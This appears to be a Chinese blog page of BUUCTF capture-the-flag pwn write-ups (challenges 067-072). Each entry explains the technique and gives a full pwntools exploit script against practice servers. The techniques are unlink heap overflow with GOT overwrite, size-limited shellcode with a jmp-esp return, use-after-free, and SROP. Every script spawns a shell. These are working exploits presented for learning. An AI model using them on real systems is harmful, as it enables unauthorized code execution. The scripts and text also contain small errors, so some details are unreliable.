当前位置:网站首页>buuctf-pwn write-ups (9)
buuctf-pwn write-ups (9)
2022-07-05 17:57:00 【L3H_CoLin】
buu067-hitcon2014_stkof
简单分析发现程序中开了一个很大的数组在bss段中,可以申请很多很多堆块,然后在bss段保存它们的地址。这道题不能打印有效信息,但能够产生任意长度的堆溢出,因此考虑利用方式:unlink。
利用方式请见:我的unlink笔记
经过调试发现,unlink可以进行。
我们可以在此之后将bss段中的地址改成got表地址,然后将got表中free函数的地址改写为printf的plt地址,这样我们就可以实现任意地址读了。读取到libc地址然后将free.got改为system地址,释放一个存有’/bin/sh’的chunk即可。
from pwn import *
from LibcSearcher import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27603)
elf = ELF('./pwn')
chunks = 0x602140
def add_chunk(size):
io.sendline(b'1')
io.sendline(str(size).encode())
def write_chunk(index, size, content):
io.sendline(b'2')
io.sendline(str(index).encode())
io.sendline(str(size).encode())
io.send(content)
def delete_chunk(index):
io.sendline(b'3')
io.sendline(str(index).encode())
def feedback(index):
io.sendline(b'4')
io.sendline(str(index).encode())
add_chunk(0x80) # chunk 0
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 1
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 2
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 3
io.recvuntil(b'OK\n')
add_chunk(0x80) # chunk 4
io.recvuntil(b'OK\n')
payload = p64(0x10)
payload += p64(0x81)
payload += p64(chunks + 8*2 - 0x18)
payload += p64(chunks + 8*2 - 0x10)
payload += cyclic(0x60)
payload += p64(0x80)
payload += p64(0x90)
write_chunk(2, 0x90, payload)
io.recvuntil(b'OK\n')
delete_chunk(3)
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(elf.plt['printf']))
io.recvuntil(b'OK\n')
write_chunk(2, 0x10, p64(0) + p64(elf.got['puts']))
io.recvuntil(b'OK\n')
delete_chunk(0)
puts = u64(io.recv(6) + b'\x00\x00')
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
write_chunk(2, 0x10, p64(0) + p64(elf.got['free']))
io.recvuntil(b'OK\n')
write_chunk(0, 0x8, p64(sys))
io.recvuntil(b'OK\n')
write_chunk(4, 0x7, b'/bin/sh')
delete_chunk(4)
io.interactive()
buu068-ciscn_2019_s_9
shellcode题,只能写49个字节。(注意fgets函数的特性是最后一个字节一定是零字节。)
我们使用shellcraft.sh()函数查看pwntools为我们生成的shellcode,发现编译成机器码一共有44个字节。注意我们写入的49个字节里面的第36~40个字节是返回地址,不能随意动。
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
上面就是shellcode的汇编代码。我们尝试缩短这段代码的长度。
由于本题中并没有对零字节做出输入的限制,因此我们可以简化下面这两行为push 0x6873
push 0x1010101
xor dword ptr [esp], 0x1016972
简化之后,剩余部分的机器码长度为36字节,正好能够填充满返回地址之前的36字节。
而对于后面的9个字节,首先需要压低esp,防止shellcode被覆盖:sub esp, 0x100;
,这条指令占6字节。还有3个字节足够我们进行一次短转移。
在asm函数中不允许使用诸如jmp short ptr 0x40;
这样的指令,只能通过标号来写jmp指令。但是我们通过分析jmp指令的结构不难发现,jmp短转移指令占2字节,第1个字节固定为0xed,第二个字节为转移偏移,即距离本条指令的偏移位置。如在0x100000处有一条jmp 0x40指令,其跳转到的地址是:0x100042,因为这里是从这条指令的后面计算偏移的,也就是以0x100002为基准计算偏移。由此我们可以计算得到转移的偏移应该为-48,转为有符号8位二进制数为0xD0。因此我们的shellcode结构就是:前36字节为shellcode;37~40字节为返回地址(jmp esp的地址);41~46字节为sub esp, 0x100;
指令;47~48字节为jmp short ptr -48;
指令,这样可以在esp减小之后立刻开始执行shellcode。我们的49个字节使用了48个字节。
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 28012)
elf = ELF('./pwn')
shellcode = 'push 0x68;' \
'push 0x732f2f2f;' \
'push 0x6e69622f;' \
'mov ebx, esp;' \
'push 0x6873;' \
'xor ecx, ecx;' \
'push ecx;' \
'push 4;' \
'pop ecx;' \
'add ecx, esp;' \
'mov ecx, esp;' \
'xor edx, edx;' \
'push SYS_execve;' \
'pop eax;' \
'int 0x80;' \
payload = asm(shellcode)
payload += p32(0x8048554)
payload += asm('sub esp, 0x100;') # 6 bytes
payload += b'\xeb\xD0' # jmp short ptr -48
print(len(payload))
print(payload)
io.sendline(payload)
io.interactive()
buu069-pwnable_hacknote
常规堆排布,没有释放指针,可以利用UAF申请到一个chunk控制头,然后改写里面的指针从而在调用print功能的时候执行其他功能。
每一次申请都会申请上面的这个结构体和一个存放字符串的chunk。申请两个chunk大小为0x20的结构,然后释放,再申请一个chunk大小为0x8的结构就可以控制先前释放的一个结构的控制结构体(也就是上面的这个结构体)。print_func不动,把打印地址改为got表获取libc地址,然后释放重新分配,把print_func改成system地址,后面接上’||sh’来执行system(‘sh’)。(前面的部分是system地址肯定无法执行,加||使得能够执行后面的内容)
from pwn import *
from LibcSearcher import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 26342)
elf = ELF('./pwn')
def add(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Note size :', str(size).encode())
io.sendafter(b'Content :', content)
def delete(index):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(index).encode())
def print(index):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(index).encode())
add(0x20, b'/bin/sh')
add(0x20, b'colin')
delete(0)
delete(1)
add(0x8, p32(0x804862B) + p32(elf.got['puts']))
print(0)
puts = u32(io.recv(4))
print(hex(puts))
libc = LibcSearcher('puts', puts)
base = puts - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')\
delete(2)
add(0x8, p32(sys) + b'||sh')
print(0)
io.interactive()
buu070-picoctf_2018_shellcode
from pwn import *
context(arch='i386', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27164)
elf = ELF('./pwn')
io.sendline(asm(shellcraft.sh()))
io.interactive()
buu071-ciscn_2019_es_7
一道SROP的题目,要熟悉脚本中SROP的构造方式。本题中栈的地址是经过试验得到的,后面能够泄露出一个栈地址,值为输入字符串起始地址+0x118,据此计算栈地址。
注意脚本中的flat方法用于将frame转换为一个个的字节,不能使用str函数,否则原本的1个字节’\x00’会被转换为4个字节’\x00’。
from pwn import *
context(arch='amd64', log_level='debug')
# io = process('./pwn')
io = remote('node4.buuoj.cn', 27845)
elf = ELF('./pwn')
movrax_3B_ret = 0x4004e2
movrax_F_ret = 0x4004DA
syscall = 0x400517
payload = cyclic(0x10)
payload += p64(0x4004ED)
io.sendline(payload)
io.recv(0x20)
stack_addr = u64(io.recv(8)) - 0x118
print(hex(stack_addr))
payload = b'/bin/sh'.ljust(0x10, b'\x00')
payload += p64(movrax_F_ret)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += flat(frame)
io.send(payload)
io.interactive()
buu072-jarvisoj_level5
同第36题,脚本都不用变。
边栏推荐
- matlab内建函数怎么不同颜色,matlab分段函数不同颜色绘图
- Unicode processing in response of flash interface
- 分享:中兴 远航 30 pro root 解锁BL magisk ZTE 7532N 8040N 9041N 刷机 刷面具原厂刷机包 root方法下载
- Privacy computing helps secure data circulation and sharing
- 神经网络自我认知模型
- 图像分类,看我就够啦!
- 集群部署如何解决海量视频接入与大并发需求?
- 图片数据不够?我做了一个免费的图像增强软件
- Nanjing University: Discussion on the training program of digital talents in the new era
- 修复漏洞 - mysql 、es
猜你喜欢
职场进阶指南:大厂人必看书籍推荐
第十一届中国云计算标准和应用大会 | 云计算国家标准及白皮书系列发布 华云数据全面参与编制
Leetcode daily question: merge two ordered arrays
ISPRS2020/云检测:Transferring deep learning models for cloud detection between Landsat-8 and Proba-V
神经网络自我认知模型
Find the first k small element select_ k
图像分类,看我就够啦!
nacos -分布式事务-Seata** linux安装jdk ,mysql5.7启动nacos配置ideal 调用接口配合 (保姆级细节教程)
Sophon CE Community Edition is online, and free get is a lightweight, easy-to-use, efficient and intelligent data analysis tool
Image classification, just look at me!
随机推荐
“12306” 的架构到底有多牛逼?
pytorch yolov5 训练自定义数据
热通孔的有效放置如何改善PCB设计中的热管理?
Cmake tutorial Step2 (add Library)
Action avant ou après l'enregistrement du message teamcenter
Matlab built-in function how different colors, matlab subsection function different colors drawing
分享:中兴 远航 30 pro root 解锁BL magisk ZTE 7532N 8040N 9041N 刷机 刷面具原厂刷机包 root方法下载
Data access - entityframework integration
Generate XML schema from class
南京大学:新时代数字化人才培养方案探讨
Cmake tutorial Step4 (installation and testing)
Leetcode daily practice: rotating arrays
Record a case of using WinDbg to analyze memory "leakage"
图扑软件数字孪生 | 基于 BIM 技术的可视化管理系统
使用Jmeter虚拟化table失败
集群部署如何解决海量视频接入与大并发需求?
Le cours d'apprentissage de la machine 2022 de l'équipe Wunda arrive.
Cmake tutorial step5 (add system self-test)
Ten capabilities that cyber threat analysts should have
About Statistical Power(统计功效)